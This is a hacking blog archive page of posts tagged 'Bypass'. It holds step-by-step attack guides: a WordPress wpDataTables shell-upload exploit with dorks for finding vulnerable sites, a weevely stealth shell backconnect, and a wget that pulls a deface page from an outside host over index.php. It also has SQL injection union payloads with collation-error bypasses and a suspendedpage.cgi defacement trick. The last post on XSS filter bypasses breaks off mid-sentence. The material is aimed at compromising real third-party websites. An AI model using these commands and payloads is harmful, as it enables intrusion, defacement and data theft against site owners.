Backtrack Team: Bypass

Affichage des articles dont le libellé est Bypass. Afficher tous les articles

Exploit Wordpress: WPDataTable Unauthenticated Shell Upload Vulnerability and Not Acceptable Bypass

Uploading Shell

Requirement:
    1-Python Any Version (v2.7 recommended)
    2-Exploit Script
    3-Backdoor

Steps:
    1- Download Exploit

wget http://www.homelab.it/wp-content/uploads/2014/11/wpdatatables_shell_up.py_.txt

2- Change to executable Python extension

mv wpdatatables_shell_up.py_.txt wpdatatables_shell_up.py

3- Find Vulnerable Target using dork

        inurl:/plugins/wpdatatables
        inurl:codecanyon-3958969
        index of "wpdatatables"
        index of "codecanyon-3958969"

4- Open cmd/terminal and run exploit wptable.py

python wpdatatables_shell_up.py -t targetsite.com -f shell.php

5- Shell Upload to

http://targetsite.com/wp-content/YEAR/MONTH/shell.php

Bypassing Not Acceptable

Requirements:
    1- Weevely Stealth Shell
    2- Remote Deface Script (.txt)

Steps:
    1- Upload weevely stealth shell using the exploit script

    2- Backconnect using weevely

    3- CD to root directory

    4- Backup index.php

mv index.php indexBAK.php

5- Import Deface Script

wget http://yourhosting.com/index.txt -O index.php

by Malik korrich ~ lundi 24 novembre 2014 0 commentaires

[EXPLOIT] Backconnect with Weevely

Backconnect with Weevely

Backconnect usually used for a proxy server or firewall closeted. so it can not be done remotely connect. So one trick is to reverse connections, which connect from the server to your computer

Things required

Weevely
Python
Vulnerable file upload site

How to install weevely?

Click here

How to backconnect?

1- In my case, i already have a vulnerable site and i am able to upload shell. But, after a few seconds accessing the server through the shell, the connection was stopped and it says "Access Denied"

2- So, to bypass this, i will try to access the server again by backconnect using weevely

3- Firstly, open up Command prompt, type in:

cd\
cd \weevely\

4- Now, to execute the weevely.py, type in this command:

weevely.py

C:\python27\python.exe weevely.py

5- Alright, now we are going to generate a stealth shell with password. Type in this command

weevely.py generate pass123

C:\python27\python.exe weevely generate pass123

6- You can rename weevely.php to anything as you like, okay, now upload weevely.py into the site

7- If you access the weevely.php through the web browser, it will show a blank page, but it doesn't meant it failed.

8- To access you weevely shell, type in the cmd:

weevely.py http://www.victimsite.com/weevely.php pass123

C:\python27\python.exe weevely.py http://www.victimsite.com/weevely.php pass123

9- Now we got access! Once you're logged in, you can do anything

cd - For changing directory

dir or ls - For directory listing

10- Type :help for more commands

NOTE* If you got the message as below, it means that the weevely shell is not accessible

by Malik korrich ~ jeudi 23 octobre 2014 0 commentaires

SQLi - Bypass "Illegal mix of collations" Error

In this post, i'm not going to tell you about SQL Injection from the beginning, but i'm just gonna tell you how to bypass the error "Illegal mix of collations" that occur while you are injecting the site. This error simply can be bypass by using these strings.

1- convert(x() using latin1)

2- aes_decrypt(aes_encrypt(x(),1),1)

3- unhex(hex(@@x))

4- cast(x()+as+binary)

5- convert(x(),binary)

6- convert(x()+using+binary)

*Note , x = sql query such as , version / database / group_concat(table_name) / etc

For example, i'm going to find the version of the MySQL, but it gives error when i use:

http://www.site.com/index.php?id=null union all select 1,2,@@version,4,5--

So, to bypass this, i will use one of those string:

http://www.site.com/index.php?id=null union all select 1,2,convert(@@version)using latin1),4,5--

If i want to get the column names, this is the query that i should use:

http://www.site.com/index.php?id=null union all select 1,2,convert(group_concat(table_name)using latin1),4,5 from information_schema.tables where table_schema=database()--

Alright, i guess that's all. Watch this video if you still can't understand.

WATCH VIDEO

by Malik korrich ~ mardi 24 juin 2014 0 commentaires

5 Years Old Boy Found Bug On XBOX

A five years old boy from San Diego named Kristoffer Von Hassel has found a bug on XBOX. He can log in into other's account by only pressing the SPACE button on the password column without entering any password. His father, shocked and feeling weird how can his son login into his account and play the game.

He told his father that he only entered the wrong password and then he pressed SPACE. With just that, he bypassed the auth.

His father then reported this to the Microsoft. Kristoffer Von Hassel has been awarded from Microsoft for finding a bug in the XBOX.

SOURCE: Gila Hackers

by Malik korrich ~ mardi 8 avril 2014 0 commentaires

How To Deface suspendedpage.cgi

Have you ever seen this? Certain people would ignore this page because they think it useless. But, we also can change the content of the page with our deface page script :)

All what you need is go HERE , paste your deface script and convert it ^_^

After you have done converting, save it as suspendedpage.cgi and upload it to the directories which is /cgi-bin/ or /cgi-sys/

Later, when you already upload it, change the chmod from suspendedpage.cgi to 755

Save it, and see the result :D

Example:
www.site.com/cgi-sys/suspendedpage.cgi

by Malik korrich ~ samedi 4 janvier 2014 0 commentaires

Code Igniter XSS Filter Multiple Bypasses

Recently we released our "XSS Filter Evasion Cheat Sheet", i was quite surprised to hear the community feedback. The total downloads have surpassed a figure of 2500, which was quite amazing considering that i didn't expect it to escalate that quickly. Recently, i had a chance to test Code Igniter's XSS clean function, as it relied upon blacklist it caught my interest. I was pleased that almost all the payloads/techniques that were used to bypass the "XSSCLEAN" function have been already documented inside our "XSS Filter Evasion Cheat Sheet".

Vulnerability Details

The test-bed i used was setup by @soaj1664ashar based upon the rules of the "XSS Clean" function inside of code igniter.

http://xssplayground.net23.net/clean11.html

I managed to find lots of bypasses, however couple of them collided with what @soaj1664ashar had already found before. Therefore, i thought to publish the ones that did not collide with his vectors.

Bypass 1 - Null Bytes

Internet explorer up to version 9, ignores null bytes every where. The XSSClean function was filtering for keywords like dimanche 15 décembre 2013 0 commentaires